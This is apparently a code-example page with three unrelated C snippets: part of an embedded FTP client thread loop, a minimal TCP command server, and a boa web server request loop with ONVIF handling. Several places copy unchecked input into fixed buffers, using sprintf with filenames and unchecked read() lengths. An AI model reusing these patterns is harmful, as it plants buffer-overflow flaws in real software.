        if (list_type == 1) sprintf(tmps,"NLST %s\r\n", ftpfile);
        else sprintf(tmps,"LIST %s\r\n", ftpfile);
        res = _send(&tmps[0], strlen(ftpfile)+7);
        free(ftpfile);
        ftpfile = NULL;
      }
      else {
        if (list_type == 1) res = _send("NLST\r\n", 6);
        else res = _send("LIST\r\n", 6);
      }
      if (res > 0) status |= FTP_LISTING;
      else {
        ftp_log("[FTP cmd] LIST command failed.\r\n");
      }
    }
    //REQ_ACTION_DORECV
    else if (ftpCmdSocket->clientFlag == REQ_ACTION_DORECV) {
      ftpCmdSocket->clientFlag = NO_ACTION;

      char tmps[100];
      sprintf(tmps,"RETR %s\r\n", ftpfile);
      int res = _send(&tmps[0], strlen(ftpfile)+7);
      if (res > 0) {
        status |= FTP_RECEIVING;
        file_status = 0;
      }
      else {
        ftp_log("[FTP cmd] RETR command failed.\r\n");
        file_status = -4;
      }
    }
    //REQ_ACTION_DOSEND
    else if (ftpCmdSocket->clientFlag == REQ_ACTION_DOSEND) {
      ftpCmdSocket->clientFlag = NO_ACTION;

      char tmps[100];
      if ((send_type & SEND_APPEND)) sprintf(tmps,"APPE %s\r\n", ftpfile);
      else sprintf(tmps,"STOR %s\r\n", ftpfile);
      int res = _send(&tmps[0], strlen(ftpfile)+7);
      if (res > 0) {
        file_status = 0;
      }
      else {
        ftp_log("[FTP cmd] STOR/APPE command failed.\r\n");
        file_status = -4;
      }
    }
    //REQ_ACTION_CHDIR
    else if (ftpCmdSocket->clientFlag == REQ_ACTION_CHDIR) {
      ftpCmdSocket->clientFlag = NO_ACTION;

      if (ftpfile != NULL) {
        char tmps[100];
        sprintf(tmps,"CWD %s\r\n", ftpfile);
        _send(&tmps[0], strlen(ftpfile)+6);
        free(ftpfile);
        ftpfile = NULL;
      }
      else {
        _send("PWD\r\n", 5);
      }
    }
    //REQ_ACTION_LOGGED
    else if (ftpCmdSocket->clientFlag == REQ_ACTION_LOGGED) {
      ftpCmdSocket->clientFlag=NO_ACTION;
      if (ftpCmdSocket->logon_cb != LUA_NOREF) {
        queue_msg_t msg;
        msg.L = gL;
        msg.source = onFTP;
        msg.para1 = 1;
        msg.para3 = NULL;
        msg.para2 = ftpCmdSocket->logon_cb;
        mico_rtos_push_to_queue( &os_queue, &msg, 0);
      }
    }
    //REQ_ACTION_LIST_RECEIVED
    else if (ftpCmdSocket->clientFlag == REQ_ACTION_LIST_RECEIVED) {
      ftpCmdSocket->clientFlag=NO_ACTION;
      if (ftpCmdSocket->list_cb != LUA_NOREF) {
        queue_msg_t msg;
        msg.L = gL;
        msg.source = onFTP;
        msg.para1 = recvDataLen;
        msg.para2 = ftpCmdSocket->list_cb;
        msg.para3 = (uint8_t*)malloc(recvDataLen+4);
        if (msg.para3 != NULL) memcpy((char*)msg.para3, recvDataBuf, recvDataLen);

        mico_rtos_push_to_queue( &os_queue, &msg, 0);
      }
    }
    //REQ_ACTION_RECEIVED
    else if (ftpCmdSocket->clientFlag == REQ_ACTION_RECEIVED) {
      ftpCmdSocket->clientFlag=NO_ACTION;
      if (ftpCmdSocket->received_cb != LUA_NOREF) {
        queue_msg_t msg;
        msg.L = gL;
        msg.source = onFTP;
        msg.para1 = file_status;
        msg.para3 = NULL;
        if (recv_type == RECV_TOSTRING) {
          msg.para3 = (uint8_t*)malloc(recvDataLen+4);
          if (msg.para3 != NULL) memcpy((char*)msg.para3, recvDataBuf, recvDataLen);
        }
        msg.para2 = ftpCmdSocket->received_cb;

        mico_rtos_push_to_queue( &os_queue, &msg, 0);
      }
    }
    //REQ_ACTION_SENT
    else if (ftpCmdSocket->clientFlag == REQ_ACTION_SENT) {
      ftpCmdSocket->clientFlag=NO_ACTION;
      if (ftpCmdSocket->sent_cb != LUA_NOREF) {
        queue_msg_t msg;
        msg.L = gL;
        msg.source = onFTP;
        msg.para1 = file_status;
        msg.para3 = NULL;
        msg.para2 = ftpCmdSocket->sent_cb;

        mico_rtos_push_to_queue( &os_queue, &msg, 0);
      }
    }

    // ========== stage 2, check data send =====================================
    if ((ftpDataSocket != NULL) && ((status & FTP_SENDING))) {
      FD_ZERO(&wrset);
      FD_SET(ftpDataSocket->socket, &wrset);
      // check socket state
      select(ftpDataSocket->socket+1, NULL, &wrset, NULL, &t_val);
      
      if (FD_ISSET(ftpDataSocket->socket, &wrset)) {
        int err;
        if ((send_type & SEND_STRING)) err = _sendString();
        else err = _sendFile();
        if (err != 0) {
          closeDataSocket();
          // close file;
          if (file_fd != FILE_NOT_OPENED) {
            SPIFFS_close(&fs,file_fd);
            file_fd = FILE_NOT_OPENED;
            ftp_log("\r\n[FTP dta] Data file closed\r\n");
          }
          data_done = 1;
          status &= ~FTP_SENDING;
          ftpCmdSocket->clientFlag = REQ_ACTION_SENT;
        }
        continue;
      }
    }

    // ========== stage 3, check receive&disconnect ============================
    FD_ZERO(&readset);
    // ** select sockets to monitor for receive or disconnect
    int maxfd = ftpCmdSocket->socket;
    FD_SET(ftpCmdSocket->socket, &readset);
    if ( (ftpDataSocket != NULL) && ((status & FTP_DATACONNECTED)) ) {
      if (ftpDataSocket->socket > maxfd) maxfd = ftpDataSocket->socket;
      FD_SET(ftpDataSocket->socket, &readset);
    }
    // ** check sockets state
    select(maxfd+1, &readset, NULL, NULL, &t_val);

    // ** Check COMMAND socket
    if (FD_ISSET(ftpCmdSocket->socket, &readset)) {
      // read received data to buffer
      int rcv_len;
      if ((MAX_RECV_LEN-recvLen) > 1) {
        rcv_len = recv(ftpCmdSocket->socket, (recvBuf+recvLen), MAX_RECV_LEN-recvLen-1, 0);
      }
      else { // buffer full, ignore received bytes
        char tmpb[16];
        rcv_len = recv(ftpCmdSocket->socket, &tmpb[0], 16, 0);
      }
      
      if (rcv_len <= 0) { // failed
        ftp_log("\r\n[FTP cmd] Disconnect!\r\n");
        ftpCmdSocket->clientFlag = REQ_ACTION_DISCONNECT;
        continue;
      }
      
      recvLen += rcv_len;
      _checkCmdResponse(); // leave only the last line in buffer
      timeout = mico_get_time();
      recv_tmo = 0;
    }

    // ** Check DATA socket
    if ( (ftpDataSocket != NULL) && ((status & FTP_DATACONNECTED)) ) {
      if (FD_ISSET(ftpDataSocket->socket, &readset)) {
        // read received data to buffer
        int rcv_len = recv(ftpDataSocket->socket, (recvDataBuf+recvDataLen), max_recv_datalen-recvDataLen-1, 0);

        if (rcv_len <= 0) { // failed
          if (!(status & (FTP_RECEIVING | FTP_LISTING))) {
            ftp_log("\r\n[FTP dta] Disconnect!\r\n");
            closeDataSocket();
            file_status = -9;
            data_done = 1;
          }
          continue;
        }
        else {
          if ((status & FTP_RECEIVING) && (recv_type == RECV_TOFILE)) {
            // === write received data to file ===
            recvDataLen = rcv_len;
            _saveData(0);
            recvDataLen = 0;
          }
          else if ((status & FTP_LISTING) || ((status & FTP_RECEIVING) && (recv_type == RECV_TOSTRING))) {
            if ((recvDataLen + rcv_len) < (max_recv_datalen-16)) recvDataLen += rcv_len;
            else recvDataLen = max_recv_datalen-16;
            *(recvDataBuf + recvDataLen) = '\0';
          }
        }
        timeout = mico_get_time();
        recv_tmo = 0;
      }
    }

    // ===== nothing received ==================================================
    recv_tmo++;
    if (recv_tmo < 10) continue;
    
    recv_tmo = 0;

    // == Check if something was received from Command socket ==
    if (recvLen > 0) {
      // == Analize response ===
      response();
      recvLen = 0;
      memset(recvBuf, 0, MAX_RECV_LEN);
    }

    // == Check if Data socket was receiving ==
    if ((status & (FTP_RECEIVING | FTP_LISTING))) {
      // Finish all operattions on data socket
      if ((status & FTP_RECEIVING) && (recv_type == RECV_TOFILE)) {
        _saveData(1);
        recvDataLen = 0;
      }
      else {
        if ((status & FTP_RECEIVING) && (recv_type == RECV_TOSTRING)) {
          file_status = recvDataLen;
        }
        ftp_log("[FTP dta] Data received (%d)\r\n", recvDataLen);
      }
      
      if ((status & FTP_LISTING)) {
        status &= ~FTP_LISTING;
        ftpCmdSocket->clientFlag = REQ_ACTION_LIST_RECEIVED;
      }
      if ((status & FTP_RECEIVING)) {
        status &= ~FTP_RECEIVING;
        ftpCmdSocket->clientFlag = REQ_ACTION_RECEIVED;
      }

      // Close data socket
      closeDataSocket();
      data_done = 1;
    }
  } // while

terminate:
  _ftp_deinit(0);
  ftp_log("\r\n[FTP trd] FTP THREAD TERMINATED\r\n");
  ftp_thread_is_started = false;
  mico_rtos_delete_thread( NULL );
}
Ejemplo n.º 29
0
int main(int argc, char **argv)
{
	char buff[MAX_BUFF], result_buff[SEND_BUFF]; // array for 'converted command(input)', 'result (output)'
	int n;				
	int server_fd, conn_fd;						 // socket discriptor for server and client
	int clilen;									// client struct's size
	struct sockaddr_in srvaddr, cliaddr;		// socket address struct
	

	if(argc != 2)  // if wrong input case
	{
		write(STDOUT_FILENO, "Server error : Check Port Numver\n", strlen("Server error : Check Port Numver\n"));
		return -1;
	}

	/* open socket */
	if((server_fd = socket(PF_INET, SOCK_STREAM,0)) < 0)
	{	
		write(STDERR_FILENO, "Server : socket() err!!\n", strlen("Server : socket() err!!\n"));
		return -1;
	}		
	
	/* initialize server socket struct */
	memset(&srvaddr, 0, sizeof(srvaddr));
	srvaddr.sin_family= PF_INET;
	srvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
	srvaddr.sin_port = htons(atoi(argv[1]));
	
	//bind socket with address
	if(bind(server_fd, (struct sockaddr*)&srvaddr, sizeof(srvaddr)) < 0)
	{
		write(STDERR_FILENO, "Server : bind() err!!\n", strlen("Server : bind() err!!\n"));
		return -1;//exit(1);
	}



	// listen	(5 time)
	if(listen(server_fd, 5) < 0)
	{
		write(STDERR_FILENO, "Server : listen() err!!\n", strlen("Server : listen() err!!\n"));
		return -1;

	}



	for(;;)
	{

		clilen = sizeof(cliaddr);
		/* accept client's connection */
		conn_fd = accept(server_fd, (struct sockaddr* ) &cliaddr, &clilen);
		if(conn_fd < 0)  // connection falied case
		{
			write(STDERR_FILENO, "Server : accept() err!!\n", strlen("Server : accept() err!!\n"));
			return -1;
		}
		/*display client ip and port*/
		if(client_info(&cliaddr) < 0)
		{
			write(STDERR_FILENO,"Server : client_info() err!!\n", strlen("Server : client_info() err!!\n"));
			return -1;
		}

		while(1)
		{
			n = read(conn_fd, buff, MAX_BUFF);
			buff[n] = '\0';
			
			if(cmd_process(buff, result_buff) < 0)
			/*command execute and result*/
			{
				write(STDERR_FILENO, "Server : cmd_process() err!!\n", strlen("Server : cmd_process() err!!\n"));
				break;
			}
			/* send result to client */
			write(conn_fd, result_buff, strlen(result_buff));
			
			/* if converted command is QUIT*/
			if(!strcmp(result_buff, "QUIT"))
			{
				write(STDOUT_FILENO, "Server Quit!!\n", strlen("Server Quit!!\n"));
				break;
			}
		}
		if(!strcmp(result_buff, "QUIT")) // break loop
			break;

	}
	close(server_fd); // close server socket
	return 0;
}
Ejemplo n.º 30
0
void process_requests(int server_s, struct soap *soap)/*by SeanHou*/
{
    /* :TODO:Monday, December 01, 2014 11:17:36 HKT:SeanHou:  */
    int OnvifEN = 0;
    int lookupindex = 0;
    char service_uri[100] = "";

    memset((void*)&soap->peer, 0, sizeof(soap->peer));
    soap->socket = SOAP_INVALID_SOCKET;
    soap->error  = SOAP_OK;
    soap->errmode = 0;
    soap->keep_alive = 0;

    fprintf(stderr, "Warning:" \
            "(==>%s).\n", __func__);

    /* :TODO:End---  */
    int retval = 0;
    request *current, *trailer;

    if (pending_requests) {
        get_request(server_s);
#ifdef ORIGINAL_BEHAVIOR
        pending_requests = 0;
#endif
    }

    current = request_ready;

    while (current) {
        /* :TODO:Monday, December 01, 2014 11:18:42 HKT:SeanHou: juge is onvif */
        OnvifEN = isonvif(current->client_stream, service_uri, &lookupindex);
        if(OnvifEN == 1)
        {
            fprintf(stderr, "[boa:onvif] Warning: is onvif line[%d]remote port[%d]h2ns[%d]remote ip[%s]\n", __LINE__, current->remote_port, htons(current->remote_port), current->remote_ip_addr);
            struct sockaddr_in onvif_client_addr;
            memset(&onvif_client_addr, 0, sizeof(onvif_client_addr));
            onvif_client_addr.sin_family = AF_INET;
            onvif_client_addr.sin_port = htons(current->remote_port);//随机端口
            onvif_client_addr.sin_addr.s_addr = inet_addr(current->remote_ip_addr);//

            soap->socket = current->fd;
            soap->peer = onvif_client_addr;
            if (soap_valid_socket(soap->socket))
            {
                soap->ip = ntohl(soap->peer.sin_addr.s_addr);
                soap->port = (int)ntohs(soap->peer.sin_port);
                soap->keep_alive = (((soap->imode | soap->omode) & SOAP_IO_KEEPALIVE) != 0);
            }


            g_onvif_buffer = (char *)soap_malloc(soap, sizeof(current->client_stream));
            strcpy(g_onvif_buffer, current->client_stream);//mark

            soap_begin_recv(soap);
            if (soap_envelope_begin_in(soap))
            {
                soap_send_fault(soap);
            }
            if (soap_recv_header(soap))
            {
                soap_send_fault(soap);
            }
            if (soap_body_begin_in(soap))
            {
                soap_send_fault(soap);
            }

            int errorCode = 0;
            if (errorCode = soap_serve_request(soap))
            {
                fprintf(stderr, "[boa:onvif]soap_serve_request fail, errorCode %d \n", errorCode);
                soap_send_fault(soap);
            }

            memset(current->client_stream, 0, CLIENT_STREAM_SIZE );

            soap_dealloc(soap, NULL);
            soap_destroy(soap);      
            soap_end(soap);
            current->status = DONE;
            close(soap->socket);
            continue;
        }
        /* :TODO:End---  */
        time(&current_time);
        if (current->buffer_end && /* there is data in the buffer */
                current->status != DEAD && current->status != DONE) {
            retval = req_flush(current);
            /*
             * retval can be -2=error, -1=blocked, or bytes left
             */
            if (retval == -2) { /* error */
                current->status = DEAD;
                retval = 0;
            } else if (retval >= 0) {
                /* notice the >= which is different from below?
                   Here, we may just be flushing headers.
                   We don't want to return 0 because we are not DONE
                   or DEAD */

                retval = 1;
            }
        } else {
            switch (current->status) {
                case READ_HEADER:
                case ONE_CR:
                case ONE_LF:
                case TWO_CR:
                    retval = read_header(current);
                    break;
                case BODY_READ:
                    retval = read_body(current);
                    break;
                case BODY_WRITE:
                    retval = write_body(current);
                    break;
                case WRITE:
                    retval = process_get(current);
                    break;
                case PIPE_READ:
                    retval = read_from_pipe(current);
                    break;
                case PIPE_WRITE:
                    retval = write_from_pipe(current);
                    break;
                case DONE:
                    /* a non-status that will terminate the request */
                    retval = req_flush(current);
                    /*
                     * retval can be -2=error, -1=blocked, or bytes left
                     */
                    if (retval == -2) { /* error */
                        current->status = DEAD;
                        retval = 0;
                    } else if (retval > 0) {
                        retval = 1;
                    }
                    break;
                case DEAD:
                    retval = 0;
                    current->buffer_end = 0;
                    SQUASH_KA(current);
                    break;
                default:
                    retval = 0;
                    fprintf(stderr, "Unknown status (%d), "
                            "closing!\n", current->status);
                    current->status = DEAD;
                    break;
            }

        }

        if (sigterm_flag)
            SQUASH_KA(current);

        /* we put this here instead of after the switch so that
         * if we are on the last request, and get_request is successful,
         * current->next is valid!
         */
        if (pending_requests)
            get_request(server_s);

        switch (retval) {
            case -1:               /* request blocked */
                trailer = current;
                current = current->next;
                block_request(trailer);
                break;
            case 0:                /* request complete */
                current->time_last = current_time;
                trailer = current;
                current = current->next;
                free_request(&request_ready, trailer);
                break;
            case 1:                /* more to do */
                current->time_last = current_time;
                current = current->next;
                break;
            default:
                log_error_time();
                fprintf(stderr, "Unknown retval in process.c - "
                        "Status: %d, retval: %d\n", current->status, retval);
                current = current->next;
                break;
        }
    }
}